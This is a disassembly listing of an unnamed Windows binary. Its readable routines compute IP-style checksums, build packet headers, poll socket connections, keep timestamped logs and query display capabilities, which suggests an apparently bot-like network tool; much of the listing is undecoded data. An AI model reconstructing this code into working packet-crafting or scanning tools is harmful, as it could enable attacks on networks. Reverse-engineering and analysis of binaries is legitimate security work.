		dd 8B9C4589h, 146AE445h, 0FA5D8966h, 0F85D8966h, 88A04589h
		dd 45C6A45Dh, 15FF06A5h, 4CB654h, 0A6458966h, 6A9C458Dh
		dd 858D5020h, 0FFFFFF60h, 8146E850h, 458D0000h,	50146AE8h
		dd 5080458Dh, 8137E8h, 60858D00h, 6AFFFFFFh, 82E85034h
		dd 66FFFF6Ah, 8DF84589h, 146AD445h, 60858D50h, 50FFFFFFh
		dd 8113E8h, 0E8458D00h,	8D50146Ah, 0FFFF7485h, 1E850FFh
		dd 6A000081h, 88458D04h, 75E85053h, 83000073h, 858D44C4h
		dd 0FFFFFF60h, 0E850286Ah, 0FFFF6A3Dh, 0DE458966h, 6AD4458Dh
		dd 858D5014h, 0FFFFFF60h, 80CEE850h, 0C4830000h, 0BC458D14h
		dd 5350106Ah, 0FF60858Dh, 3C6AFFFFh, 0FC75FF50h, 0B6B815FFh
		dd 0F883004Ch, 0FF0874FFh, 0BAE90845h, 0FFFFFFFDh, 15FFFC75h
		dd 4CB6ECh, 0B5E815FFh,	8D50004Ch, 0FFFDC485h, 875FFFFh
		dd 64CC6850h, 858D0043h, 0FFFFFBC0h, 20068h, 0E5E85000h
		dd 83000076h, 9D3918C4h, 0FFFFFF58h, 8D532375h,	0FFFBC085h
		dd 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h
		dd 57ADE8FFh, 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 0ED8E8h
		dd 44B5FF00h, 0E8FFFFFFh, 0FFFF7133h, 90535959h, 2CBD17E8h
		dd 0FC75FF02h, 0B6EC15FFh, 458B004Ch, 6BD23308h, 0C88B3CC0h
		dd 0F70AE8C1h, 0FFFF4CB5h, 14E9C1FFh, 858D5051h, 0FFFFFDC4h
		dd 500875FFh, 0FE44858Dh, 8D50FFFFh, 0FFFBC085h, 647C68FFh
		dd 0E8500043h, 755Ah, 391CC483h, 0FFFF589Dh, 532375FFh
		dd 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h, 50FFFFFEh
		dd 0FDC0B5FFh, 1CE8FFFFh, 83FFFF57h, 858D14C4h,	0FFFFFBC0h
		dd 0E47E850h, 0B5FF0000h, 0FFFFFF44h, 0FF70A2E8h, 535959FFh
		dd 2CBC87E8h
		db 2, 90h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_4143A6
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414398:				; CODE XREF: ___:004143A0j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414398
		pop	edi
		cmp	eax, 1


loc_4143A6:				; CODE XREF: ___:0041438Cj
		jnz	short loc_4143B3
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax


loc_4143B3:				; CODE XREF: ___:loc_4143A6j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
dword_4143CC	dd 81EC8B55h, 394ECh, 8458B00h,	656A5756h, 8DF08B59h, 0FFFE6CBDh
					; DATA XREF: sub_401ACD+6D4Ao
		dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 737CE8h
		dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4CB694h, 6CB58D50h
		dd 81FFFFFEh, 194ECh, 59656A00h, 0A5F3FC8Bh, 5FE8h, 9CC48100h
		dd 50000001h, 0FC6C858Dh, 0A868FFFFh, 50004365h, 7449E8h
		dd 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh, 0FFFF560Fh
		dd 8D14C483h, 0FFFC6C85h, 3AE850FFh, 0FF00000Dh, 98E8F075h
		dd 59FFFF6Fh, 0E8905659h, 22CBB7Ch, 81EC8B55h, 0CCECh
		dd 8B565300h, 4270A835h, 57DB3300h, 0FFFC5D89h,	0FF68D6h
		dd 36A0000h, 4589026Ah,	0D415FFF0h, 89004CB6h, 0D6FFF845h
		dd 741EE850h, 0BF590000h, 578h,	6A096A57h, 41BBE801h, 59590000h
		dd 0D8458D50h, 70BAE850h, 0C4830000h, 5A0BE0Ch,	0C9E80000h
		dd 900227C2h, 33F0452Bh, 3E8B9D2h, 0F1F70000h, 1A0853Bh
		dd 870F0000h, 1C2h, 0EE081D39h,	5975004Ch, 8958106Ah, 8D50EC45h
		dd 50539845h, 707BE8h, 0CC48300h, 50EC458Dh, 5098458Dh
		dd 0FF0875FFh, 4CB5F815h, 0FF6800h, 16A0000h, 4150E8h
		dd 50595900h, 9E45B60Fh, 45B60F50h, 0B60F509Dh,	8D509C45h
		dd 0FFFF3485h, 0DC6868FFh, 0E8500042h, 732Eh, 0EB18C483h
		dd 34858D13h, 68FFFFFFh, 4CE7E8h, 7942E850h, 59590000h
		dd 0FF34858Dh, 0FF50FFFFh, 4CB69415h, 0F4458900h, 24A8458Bh
		dd 450C5645h, 10AC45C6h, 0FFA84589h, 4CB65415h,	45896600h
		dd 7344E8AEh, 89660000h, 458BB045h, 0B84589F4h,	19C858Bh
		dd 0C7660000h, 40B245h,	40B445C6h, 6B545C6h, 0B65D8966h
		dd 0E8BC4589h, 731Ah, 0C0458966h, 7311E8h, 45896600h, 7308E8C2h
		dd 45890000h, 7300E8C4h, 45890000h, 0CC458BC8h,	0FF502566h
		dd 500C146Ah, 18CE45C6h, 0CC458966h, 0C2458B66h, 8A458966h
		dd 89BC458Bh, 458D8C45h, 0C76650A8h, 787DD045h,	0D25D8966h
		dd 0D45D8966h, 8845C766h, 57E80002h, 66FFFFFDh,	8DB64589h
		dd 286AA845h, 0FD48E850h, 458BFFFFh, 10C483B8h,	0FF548589h
		dd 458BFFFFh, 58C68BCh,	85890000h, 0FFFFFF58h, 0FF5C9D88h
		dd 85C6FFFFh, 0FFFFFF5Dh, 0D0E8E806h, 66907169h, 0FF5E8589h
		dd 858DFFFFh, 0FFFFFF60h, 8D50146Ah, 0E850C045h, 7C98h
		dd 0FF74858Dh, 5057FFFFh, 50D8458Dh, 7C87E8h, 54858D00h
		dd 68FFFFFFh, 598h, 0FCE0E850h,	0C483FFFFh, 45896620h
		dd 8D106AD2h, 53508845h, 56A8458Dh, 0F875FF50h,	0B6B815FFh
		dd 45FF004Ch, 0FE20E9FCh, 75FFFFFFh, 0EC15FFF8h, 8B004CB6h
		dd 5E5FFC45h
; ---------------------------------------------------------------------------
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
byte_4146CF	db 55h			; DATA XREF: sub_401ACD+4CC0o
		dd 0EC81EC8Bh, 414h, 5608558Bh,	85B8h, 0C88B5700h, 0BD8DF28Bh
		dd 0FFFFFDECh, 214EC81h, 0A5F30000h, 0B58DC88Bh, 0FFFFFDECh
		dd 82C7FC8Bh, 210h, 1, 37E8A5F3h, 81000000h, 214C4h, 858D5000h
		dd 0FFFFFBECh, 4365DC68h, 5FE85000h, 8D000071h,	0FFFBEC85h
		dd 7AE850FFh, 0FF00000Ah, 0D8E8F075h, 83FFFF6Ch, 6A14C4h
		dd 0B8BAE890h, 8B55022Ch, 54EC81ECh, 53000002h,	0FFBB56h
		dd 53570000h, 26A036Ah,	0B6D415FFh, 0F883004Ch,	0F44589FFh
		dd 858D1A75h, 0FFFFFDACh, 4367CC68h, 0BE85000h,	59000071h
		dd 0E959FF33h, 2C9h, 6AEC4D8Dh,	0FF335104h, 5057026Ah
		dd 1EC45C7h, 0FF000000h, 4CB63415h, 0FFF88300h,	15FF0E75h
		dd 4CB5E8h, 677C6850h, 1BEB0043h, 500C458Dh, 0B69415FFh
		dd 0F883004Ch, 0FF2075FFh, 4CB5E815h, 38685000h, 8D004367h
		dd 0FFFDAC85h, 0AFE850FFh, 83000070h, 6EE90CC4h, 57000002h
		dd 0DC45C766h, 15FF0002h, 4CB654h, 0DE458966h, 500C458Dh
		dd 69CAFFE8h, 358B9071h, 4270A8h, 0FFE04589h, 0F84589D6h
		dd 500C458Dh, 0FDAC858Dh, 0C68FFFFh, 50004367h,	7069E8h
		dd 0CC48300h, 214BD39h,	20750000h, 0AC858D57h, 0FFFFFFFDh
		dd 210B5h, 858D5000h, 18Ch, 875FF50h, 0FF522EE8h, 14C483FFh
		dd 0FFFC7D89h, 0F8452BD6h, 0E8B9D233h, 0F7000003h, 8DF08BF1h
		dd 10C85h, 12E85000h, 3B00006Fh, 870F59F0h, 193h, 41CBEh
		dd 0BB05EB00h, 0FFh, 0EE083D39h, 5275004Ch, 8958106Ah
		dd 8D50F045h, 5057CC45h, 6CFBE8h, 0CC48300h, 50F0458Dh
		dd 50CC458Dh, 0FF0875FFh, 4CB5F815h, 16A5300h, 3DD4E8h
		dd 50595900h, 0D245B60Fh, 45B60F50h, 0B60F50D1h, 8D50D045h
		dd 6868AC45h, 500042DCh, 6FB5E8h, 18C48300h, 458D10EBh
		dd 0E7E868ACh, 0E850004Ch, 75CCh, 0C6565959h, 4CE9E805h
		dd 15FF4500h, 4CB654h, 0E9EAA366h, 458D004Ch, 0C76650ACh
		dd 4CE9EC05h, 66000100h, 0E9EE3D89h, 5C6004Ch, 4CE9F0h
		dd 0F105C680h, 11004CE9h, 0F23D8966h, 0FF004CE9h, 4CB69415h
		dd 0E9F4A300h, 458B004Ch, 0E9F8A3E0h, 858D004Ch, 8Ch, 3D896650h
		dd 4CEA02h, 6E30E8h, 59C08500h,	8FE81075h, 9900006Fh, 401B9h
		dd 52F9F700h, 858D0EEBh, 8Ch, 6E0FE850h, 50590000h, 0B65415FFh
		dd 0A366004Ch, 4CE9FEh,	6F65E8h, 1B99900h, 68000004h, 408h
		dd 8966F9F7h, 4CE9FC15h, 5415FF00h, 68004CB6h, 400h, 0EA00A366h
		dd 3BE8004Ch, 9900006Fh, 6852FBF7h, 4CEA04h, 6BDBE8h, 0CC48300h
		dd 6ADC458Dh, 56575010h, 4CE9E868h, 0F475FF00h,	0B6B815FFh
		dd 0F883004Ch, 0A5840FFFh, 0FF000000h, 0E890FC45h, 227BDCCh
		dd 33F8452Bh, 3E8B9D2h,	0F1F70000h, 858DD88Bh, 10Ch, 6D7FE850h
		dd 0D83B0000h, 74860F59h, 0FFFFFFFEh, 15FFF475h, 4CB6ECh
		dd 8DFC758Bh, 10C85h, 0F6695000h, 41Ch,	6D58E8h, 0D2335900h
		dd 0C68BC88Bh, 0F70AE8C1h, 14EEC1F1h, 75FF5650h, 0C458DFCh
		dd 66A86850h, 858D0043h, 0FFFFFDACh, 6E3CE850h,	0C4830000h
		dd 14BD3918h, 75000002h, 858D5720h, 0FFFFFDACh,	210B5FFh
		dd 8D500000h, 18C85h, 75FF5000h, 5001E808h, 0C483FFFFh
		dd 335E5F14h, 0C3C95BC0h, 56FC75FFh, 0B5E815FFh, 8D50004Ch
		dd 68500C45h, 43661Ch
		db 0EBh, 0ACh
word_414A92	dw 8B55h		; DATA XREF: sub_401ACD+6362o
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 6CB4E8h
		dd 8D505900h, 0FFFE7085h, 0A6E850FFh, 5900006Ch, 0F0858D50h
		dd 50FFFFFDh, 0B69415FFh, 0E850004Ch, 147h, 500CC483h
		dd 0FBEC858Dh, 0F868FFFFh, 50004367h, 6D89E8h, 83F63300h
		dd 75390CC4h, 562075F8h, 0FBEC858Dh, 75FFFFFFh,	858D50F4h
		dd 0FFFFFF70h, 0ECB5FF50h, 0E8FFFFFDh, 0FFFF4F4Fh, 8D14C483h
		dd 0FFFBEC85h, 7AE850FFh, 0FF000006h, 0D8E8F075h, 59FFFF68h
		dd 0BDE85659h, 90022CB4h
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_414B6F
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB3E5Dh
		jmp	loc_414C2B
; ---------------------------------------------------------------------------


loc_414B6F:				; CODE XREF: ___:00414B59j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		nop
		call	near ptr 71AB155Ah
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CB5FC
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CB63C
		test	eax, eax
		jnz	short loc_414BD3
		or	eax, 0FFFFFFFFh
		jmp	short loc_414C2B
; ---------------------------------------------------------------------------


loc_414BD3:				; CODE XREF: ___:00414BCCj
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_414BDE


loc_414BDA:				; CODE XREF: ___:00414BFEj
					; ___:00414C22j
		mov	eax, edi
		jmp	short loc_414C2B
; ---------------------------------------------------------------------------


loc_414BDE:				; CODE XREF: ___:00414BD8j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_414C00
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_414BDA


loc_414C00:				; CODE XREF: ___:00414BEDj
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		nop
		call	near ptr 71AB4122h
		cmp	eax, edi
		jz	short loc_414BDA
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax


loc_414C2B:				; CODE XREF: ___:00414B6Aj
					; ___:00414BD1j ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		db 55h
		dd 0EC81EC8Bh, 10Ch, 6A575653h,	0DB335801h, 68535350h
		dd 0FFh, 26A036Ah, 0E8EC4589h, 716A0DADh, 0EC4D8D90h, 6A51046Ah
		dd 0A3505302h, 4CEE78h,	0B63415FFh, 358B004Ch, 4270A8h
		dd 0E850D6FFh, 6C60h, 6AC03359h, 0BD8D19h, 59FFFFFFh, 0FEF49D89h
		dd 4D89FFFFh, 0F89D8984h, 89FFFFFEh, 0FFFEFC9Dh, 7485C7FFh
		dd 1FFFFFFh, 0C7000004h, 0FFFF7885h, 15FFh, 7C85C700h
		dd 16FFFFFFh, 0C7000000h, 178045h, 45C70000h, 3588h, 8C45C700h
		dd 50h,	519045C7h, 0C7000000h, 589445h,	45C70000h, 6E98h
		dd 9C45C700h, 71h, 77A045C7h, 0C7000000h, 87A445h, 45C70000h
		dd 89A8h, 0AC45C700h, 8Bh, 8FB045C7h, 0C7000000h, 1BBB445h
		dd 45C70000h, 1BDB8h, 0BC45C700h, 400h,	99C045C7h, 0C7000005h
		dd 5DCC445h, 45C70000h,	6B8C8h,	0CC45C700h, 0CEAh, 3DD045C7h
		dd 0C700000Dh, 1388D445h, 45C70000h, 1A0BD8h, 0DC45C700h
		dd 1F40h, 90E045C7h, 0F300001Fh, 0F05D89ABh, 3E445C7h
		dd 0C7000000h, 0BB8E845h, 5D890000h, 8458BFCh, 6485C766h
		dd 2FFFFFFh, 68858900h,	8BFFFFFFh, 0BC8DFC45h, 0FFFF7405h
		dd 848B66FFh, 0FFFF7405h, 15FF50FFh, 4CB654h, 6A016A53h
		dd 85896602h, 0FFFFFF66h, 0B6D415FFh, 4D8D004Ch, 0F44589E4h
		dd 648D8D51h, 6AFFFFFFh, 0E8505110h, 0FFFFFD7Eh, 8910C483h
		dd 75FFF845h, 0EC15FFF4h, 39004CB6h, 0C75F85Dh,	8BFC4D8Bh
		dd 0D848907h, 0FFFFFEF4h, 4FC4583h, 70FC7D83h, 7CBF837Ch
		dd 68004CEEh, 42D124h, 6A84E857h, 59590000h, 4589D6FFh
		dd 0F4858DF4h, 89FFFFFEh, 4589FC5Dh, 2BD6FFF8h,	0D233F445h
		dd 3E8B9h, 3BF1F700h, 45770C45h, 8BF8458Bh, 74C33B00h
		dd 68575015h, 436824h, 0F0458957h, 6A45E8h, 10C48300h
		dd 0FF681AEBh, 530000FFh, 3834E8h, 50595900h, 0B65415FFh
		dd 0B70F004Ch, 0F04589C0h, 83FC45FFh, 8304F845h, 7C1CFC7Dh
		dd 53286AA8h, 4CEE1868h, 6716E800h, 0FFBE0000h,	0C60000FFh
		dd 4CEE1805h, 68564500h, 400h, 0EE2105C6h, 0C606004Ch
		dd 4CEE1905h, 0E6E80800h, 83000037h, 0FF5014C4h, 4CB65415h
		dd 66286A00h, 4CEE1CA3h, 5415FF00h, 80004CB6h, 4CEE200Dh
		dd 1D39FF00h, 4CEE08h, 0EE1AA366h, 8966004Ch, 4CEE1E1Dh
		dd 681A7500h, 0FFFEh, 0A6E8016Ah, 59000037h, 84D8B59h
		dd 2310E0C1h, 0EBC10BCEh, 0E7E8680Bh, 15FF004Ch, 4CB694h
		dd 4CEE24A3h, 8458B00h,	400068h, 0EE28A300h, 1D88004Ch
		dd 4CEE39h, 0B65415FFh,	5356004Ch, 0EE3AA366h, 62E8004Ch
		dd 8B000037h, 0C15356F8h, 56E808E7h, 83000037h,	0F80310C4h
		dd 5015FF57h, 0A3004CB6h, 4CEE30h, 4CEE38A0h, 87D8B00h
		dd 500C0F24h, 38A2146Ah, 66004CEEh, 89F0458Bh, 4CEE341Dh
		dd 1D896600h, 4CEE3Eh, 0EE2EA366h, 3D89004Ch, 4CEE54h
		dd 0EE581D88h, 5C6004Ch, 4CEE59h, 5415FF06h, 66004CB6h
		dd 4CEE5AA3h, 2EA16600h, 66004CEEh, 0EE4005C7h,	2004Ch
		dd 0EE443D89h, 0A366004Ch, 4CEE42h, 0EBFC5D89h,	0FFFFBE05h
		dd 5D390000h, 562F75FCh, 36CBE853h, 59590000h, 5415FF50h
		dd 66004CB6h, 4CEE2CA3h, 0EE24A100h, 50A3004Ch,	0C6004CEEh
		dd 4CEE3905h, 1D890200h, 4CEE34h, 53561FEBh, 0EE3905C6h
		dd 0E810004Ch, 3695h, 0FF505959h, 4CB65415h, 0C0B70F00h
		dd 4CEE34A3h, 5FF6600h,	4CEE1Ch, 0EE3005FFh, 0A166004Ch
		dd 4CEE2Eh, 0BE59056Ah,	4CEE2Ch, 4CEE5CBFh, 1D896600h
		dd 4CEE22h, 3C1D8966h, 6A004CEEh, 0BEA5F314h, 4CEE18h
		dd 0EE42A366h, 0E856004Ch, 0FFFF5C25h, 5068206Ah, 66004CEEh
		dd 4CEE22A3h, 5C13E800h, 0C483FFFFh, 3CA36610h,	6A004CEEh
		dd 0EE406810h, 6A53004Ch, 35FF5628h, 4CEE78h, 0B6B815FFh
		dd 45FF004Ch, 0FC7D81FCh, 3FFh,	0FF238C0Fh, 0E890FFFFh
		dd 227B720h, 33F4452Bh,	3E8B9D2h, 0F1F70000h, 770C453Bh
		dd 1075FF0Eh, 0BE20E890h, 0C2E90225h, 5FFFFFFDh, 0EE7CB85Eh
		dd 0C95B004Ch
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150B5	proc near		; CODE XREF: sub_401ACD+7200p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43D810
		mov	edi, 0B8h


loc_4150C9:				; CODE XREF: sub_4150B5+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4150EC
		push	[ebp+arg_0]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4150EC
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43E390
		jl	short loc_4150C9
		jmp	short loc_41512E
; ---------------------------------------------------------------------------


loc_4150EC:				; CODE XREF: sub_4150B5+17j
					; sub_4150B5+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43D810[esi]
		push	ebx
		call	sub_41B590
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41B5F0
		push	9Fh
		lea	eax, dword_43D828[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B5F0
		add	esp, 24h
		inc	dword_4294D0
		pop	ebx


loc_41512E:				; CODE XREF: sub_4150B5+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4150B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415135	proc near		; CODE XREF: sub_401ACD+28DEp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_436840
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43D810


loc_41515F:				; CODE XREF: sub_415135+72j
		cmp	byte ptr [esi],	0
		jz	short loc_41519A
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_43682C
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41B980
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 2Ch


loc_41519A:				; CODE XREF: sub_415135+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43E390
		jl	short loc_41515F
		pop	edi
		pop	esi
		leave
		retn
sub_415135	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151AD	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	near ptr 2770217h
		nop
		mov	ebx, offset dword_4D327C
		mov	edi, 80h
		mov	esi, offset dword_4CF27C


loc_4151CF:				; CODE XREF: sub_4151AD+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4151E6
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4151E6:				; CODE XREF: sub_4151AD+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4151CF
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4151AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415221	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_402077p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C190
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4151AD
		add	esp, 14h
		leave
		retn
sub_415221	endp


; =============== S U B	R O U T	I N E =======================================



sub_41524D	proc near		; CODE XREF: sub_401ACD+27D5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CF27C
		xor	ecx, ecx


loc_415254:				; CODE XREF: sub_41524D+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D327C
		jl	short loc_415254
		cmp	[esp+arg_C], ecx
		jnz	short loc_415282
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_43688C
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_415282:				; CODE XREF: sub_41524D+19j
		push	offset dword_436878
		call	sub_4151AD
		pop	ecx
		retn
sub_41524D	endp

; ---------------------------------------------------------------------------
word_41528E	dw 8B55h		; DATA XREF: sub_401ACD+2888o
		dd 1CEC81ECh, 8B000003h, 57560845h, 8B59456Ah, 0E4BD8DF0h
		dd 6AFFFFFEh, 33A5F301h, 55395FD2h, 0F845C7F0h,	80h, 89FC5589h
		dd 110B8h, 521E7500h, 0FEE8858Dh, 75FFFFFFh, 68BC68ECh
		dd 0FF500043h, 0FFFEE4B5h, 4795E8FFh, 0C483FFFFh, 68BD8014h
		dd 0FFFFFFh, 858D1774h,	0FFFFFF68h, 6483E850h, 0C0850000h
		dd 0FC458959h, 45890374h, 86583F8h, 0F27CBE00h
		db 4Ch,	0
; ---------------------------------------------------------------------------


loc_41530A:				; CODE XREF: ___:00415362j
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415364
		cmp	byte ptr [esi],	0
		jz	short loc_415353
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415339
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415339
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_418087
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415353


loc_415339:				; CODE XREF: ___:0041531Ej
					; ___:00415324j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A73
		add	esp, 14h


loc_415353:				; CODE XREF: ___:00415315j
					; ___:00415337j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D327C
		jl	short loc_41530A


loc_415364:				; CODE XREF: ___:00415310j
		lea	eax, [ebp-31Ch]
		push	offset dword_4368A0
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_41539E
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A73
		add	esp, 14h


loc_41539E:				; CODE XREF: ___:0041537Cj
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_4151AD
		push	dword ptr [ebp-18h]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		nop
; ---------------------------------------------------------------------------
		dw 45E8h
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 2
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153BD	proc near		; CODE XREF: sub_401ACD+7350p

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4CB640
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4155F1
		push	8
		push	edi
		call	dword_4CB65C
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4CB65C
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4CB65C
		cmp	eax, 8
